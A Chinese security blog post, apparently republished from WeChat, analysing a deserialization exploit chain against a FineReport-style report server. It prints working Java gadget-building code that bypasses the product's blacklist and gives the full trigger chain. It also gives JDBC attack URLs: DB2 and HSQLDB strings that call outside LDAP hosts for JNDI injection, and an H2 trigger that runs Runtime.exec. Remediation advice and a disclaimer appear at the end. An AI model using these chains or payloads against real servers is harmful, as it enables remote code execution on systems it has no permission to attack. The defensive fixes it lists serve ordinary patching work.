某报表玩坏的反序列化漏洞
2024-8-20 16:36:0 Author: mp.weixin.qq.com(查看原文) 阅读量:2 收藏

起因

某次护网应急响应,发现了最新版的某报表的被打掉了,日记记录channel触发的反序列化进行攻击的,和springkill大哥一起愉快调试两天了,想着已经玩了一个多月,差不多见光死了,就和大家分享下得了。

历史漏洞

某报表channel反序列化漏洞历史爆出三个链子,一个cb, 一个singobject的二次反序列,,一个Hibernate。下载最新版v10(当时是5月),查找黑名单

com/fr/serialization/blacklist.txt

com.fr.third.alibaba.druid.pool.xa.DruidXADataSource
这边直接去找getter触发,找DruidXADataSource这个类非常合适,且不在黑名单里面。这个类可以控制sql库的服务, 链接url,以及查询语句,很容易就能想到利用druid去打jdbc。

可以看见没啥毛病。

既然打jdbc,就很多都能打了,实战中还得看服务器存在哪些数据库依赖。

可以参考su18的 https://su18.org/post/jdbc-connection-url-attack/。

既然要用getter去触发,也不在黑名单里面,这样找找,发现fastjson, jackson的原生序列化就很合适。

com.fr.json.JSONArray#toString

在这个类的tostring, 会调用到

com.fr.json.revise.EmbedJson#encode

它里面会调用jackson的序列化, list直接反射修改为druid,从而触发druid的getXAConnection()。也就是只用了om.fr.json.JSONArray然后内部调用,直接就绕过jackson的黑名单太酷了。

两条jdk原生tostring

现在公开触发tostring的头部基本都在黑名单了。

所以现在需要找一条新的tostring。

javax.swing.UIDefaults.TextAndMnemonicHashMap

可以看到是map,然后调用了key的tostring,非常完美。

java.util.AbstractMap#equals

m是一个map,改成javax.swing.UIDefaults.TextAndMnemonicHashMap就可以走通,非常合理。

java.util.AbstractMap是一个抽象类,所以我们只要找一个继承它又没有实现equals的方法就行了,感觉非常多了, hashmap,hashtable都可以。

hashtable触发tostring
public static Hashtable makeTableTstring(Object o) throws Exception{Map tHashMap1=(Map)createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");Map tHashMap2=(Map)createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");tHashMap1.put(o,"yy");tHashMap2.put(o,"zZ");setFieldValue(tHashMap1,"loadFactor",1);setFieldValue(tHashMap2,"loadFactor",1);Hashtable hashtable= new Hashtable();hashtable.put(tHashMap1,1);hashtable.put(tHashMap2,1);tHashMap1.put(o, null);tHashMap2.put(o, null); return hashtable;
hashmap 触发 tostring

public static HashMap maskmapToString( Object o1, Object o2) throws Exception{Map tHashMap1=(Map) createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");Map tHashMap2=(Map) createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap"); tHashMap1.put(o1,null); tHashMap2.put(o2,null); setFieldValue(tHashMap1,"loadFactor",1); setFieldValue(tHashMap2,"loadFactor",1); HashMap hashMap= new HashMap(); Class node= Class.forName("java.util.HashMap$Node"); Constructor constructor= node.getDeclaredConstructor(int.class, Object.class, Object.class, node); constructor.setAccessible(true); Object node1= constructor.newInstance(0, tHashMap1, null, null); Object node2= constructor.newInstance(0, tHashMap2, null, null); Field key= node.getDeclaredField("key"); Field modifiers= Field.class.getDeclaredField("modifiers"); modifiers.setAccessible(true); modifiers.setInt(key, key.getModifiers()&~Modifier.FINAL); key.setAccessible(true); key.set(node1, tHashMap1); key.set(node2, tHashMap2); Field size= HashMap.class.getDeclaredField("size"); size.setAccessible(true); size.set(hashMap, 2); Field table= HashMap.class.getDeclaredField("table"); table.setAccessible(true); Object arr= Array.newInstance(node, 2); Array.set(arr, 0, node1); Array.set(arr, 1, node2); table.set(hashMap, arr); return hashMap; }

一些坑点

默认包里面一些数据库是没有环境的,需要自己下载,如h2, ibm, postsql等,默认是hsqldb, 好在hsqldb可以直接调用java的public static 方法,和官方包不同,需要自己去找方法调用。默认jdk是191,也就是jndi得用高版本jdk去绕过。一般用两种方式,一种利用利用本地Class作为Reference Factory, 一种基利用LDAP返回序列化数据,触发本地Gadget。这里我是利用第二种直接本地gadget出触发
java.util.HashMap.readObject/java.util.Hashtable.readObjectjava.util.AbstractMap.equalsjavax.swing.UIDefaults$TextAndMnemonicHashMap.get com.fr.json.JSONArray.toStringcom.fr.third.fasterxml.jackson.databind.ObjectMapper.writeValueAsStringcom.fr.third.alibaba.druid.pool.xa.DruidXADataSource.getXAConnection

一些jdbc

ibm

druidDataSource.setUrl("jdbc:db2://127.0.0.1:5001/BLUDB:clientRerouteServerListJNDINam e=ldap://10.0.0.67:1389/remoteExploit8;");druidDataSource.setDriverClassName("com.ibm.db2.jcc.DB2Driver");

h2

druidDataSource.setUrl("jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS'//javascript\n"+"java.lang.Runtime.getRuntime().exec(\"open.\")'");

mysql

druidDataSource.setUrl("jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffI nterceptor&user=CommonsCollections6");

hsqldb

druidDataSource.setValidationQuery("call\"javax.naming.InitialContext.doLookup\"('ldap://10.211.55.2:4444/123');");druidDataSource.setDriverClassName("com.fr.third.org.hsqldb.jdbcDriver");

修复建议,黑名单增加如下

javax.swing.UIDefaults$TextAndMnemonicHashMap,com.fr.third.alibaba.druid.pool.xa.DruidXADataSourcecom.fr.third.alibaba.druid.pool.xa.DataSourcecom.fr.json.JSONArray

https://help.fanruan.com/finereport/doc-view-4833.html

官方通告,升级至2024-05及之后版本。

声明

此文章仅用于教育目的。请负责任地使用它,并且仅在您有明确测试权限的系统上使用。滥用此 PoC 可能会导致严重后果。

如果你是一个长期主义者,欢迎加入我的知识星球,目前POC库&知识库7k star,我们一起冲,一起学。每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款。


文章来源: https://mp.weixin.qq.com/s?__biz=MzU0MzkzOTYzOQ==&mid=2247489484&idx=1&sn=0170236eec27f6c4cbcbdfa22e76901a&chksm=fb029a94cc75138237d08c5ca44d60e9ec07ebe3edef94b783c6e4877f479b58f3f402313e1f&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh